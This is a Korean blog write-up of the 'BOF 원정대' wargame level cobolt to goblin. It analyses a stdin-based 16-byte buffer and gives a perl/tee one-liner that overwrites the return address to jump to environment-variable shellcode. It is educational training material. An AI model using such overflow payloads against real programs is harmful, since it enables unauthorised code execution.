Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
Tags
- BOF 원정대
- Linux
- 리눅스
- mysql
- hackthissite
- 러닝스칼라
- 경제
- Python
- hackerschool
- webhacking
- php
- BOF
- deep learning
- Scala
- 웹해킹
- Javascript
- flask
- 백엔드
- Web
- 인공지능
- c++
- ChatGPT
- hacking
- 러닝 스칼라
- Shellcode
- c
- 챗GPT
- 파이썬
- 딥러닝
- backend
Archives
- Today
- Total
jam 블로그
[bof 원정대] cobolt -> goblin (small buffer, stdin) 본문
728x90
문제 소스를 보자
우리가 문제를 풀기위한 과정을 알아보자.
1~3 앞의 문제와 같기 때문에 자세한 설명은 생략합니다.
4. bof 공격
[그림 1] goblin.c
소스 분석
1. buffer의 크기는 16
2. 콘솔의 입력을 받아 buffer에 저장
3. buffer 화면 출력
앞에서의 문제와는 다르게 인자값을 받지 않고 키보드의 입력을 직접 받는 문제이다.
소스 분석
1. buffer의 크기는 16
2. 콘솔의 입력을 받아 buffer에 저장
3. buffer 화면 출력
앞에서의 문제와는 다르게 인자값을 받지 않고 키보드의 입력을 직접 받는 문제이다.
우리가 문제를 풀기위한 과정을 알아보자.
0. bash2로 변경
1. shellcode 구하기
2. shellcode 환경변수에 등록
3. 환경변수의 주소값 구하기
4. bof 공격
앞에서의 문제들의 공격과정은 같다. 다만 4. bof 공격에서 약간 달라진다.
1~3 앞의 문제와 같기 때문에 자세한 설명은 생략합니다.
[그림 2] 1~3 과정
4. bof 공격
[그림 3] bof 공격
(perl -e 'print "A"x20,"\x51\xff\xff\xbf"';tee)|./goblin
tee를 쓴 이유는 tee 없이 (perl -e 'print "A"x20,"\x51\xff\xff\xbf"')|./goblin 이런식으로 쓴다면 공격을 해도 프로그램이 바로 종료가 된다. (소스에서 입력받고 바로 출력후 종료이기 때문에) 그래서 tee나 cat 같은 표준입력을 받아서 출력해주는 명령어를 같이 써주면 위 화면과 같이 된다.
(perl -e 'print "A"x20,"\x51\xff\xff\xbf"';tee)|./goblin
tee를 쓴 이유는 tee 없이 (perl -e 'print "A"x20,"\x51\xff\xff\xbf"')|./goblin 이런식으로 쓴다면 공격을 해도 프로그램이 바로 종료가 된다. (소스에서 입력받고 바로 출력후 종료이기 때문에) 그래서 tee나 cat 같은 표준입력을 받아서 출력해주는 명령어를 같이 써주면 위 화면과 같이 된다.
'해킹 > 시스템' 카테고리의 다른 글
[bof 원정대] wolfman -> darkelf (egghunter, buffer hunter, check length of argv[1]) (0) | 2012.03.19 |
---|---|
[bof 원정대] orc -> wolfman (egghunter, buffer hunter) (0) | 2012.03.19 |
[bof 원정대] goblin -> orc (egghunter) (0) | 2012.03.19 |
[bof 원정대] gremlin -> cobolt (small buffer bof) (0) | 2012.03.16 |
[bof 원정대] gate -> gremlin (simple BOF) (0) | 2012.03.16 |
Comments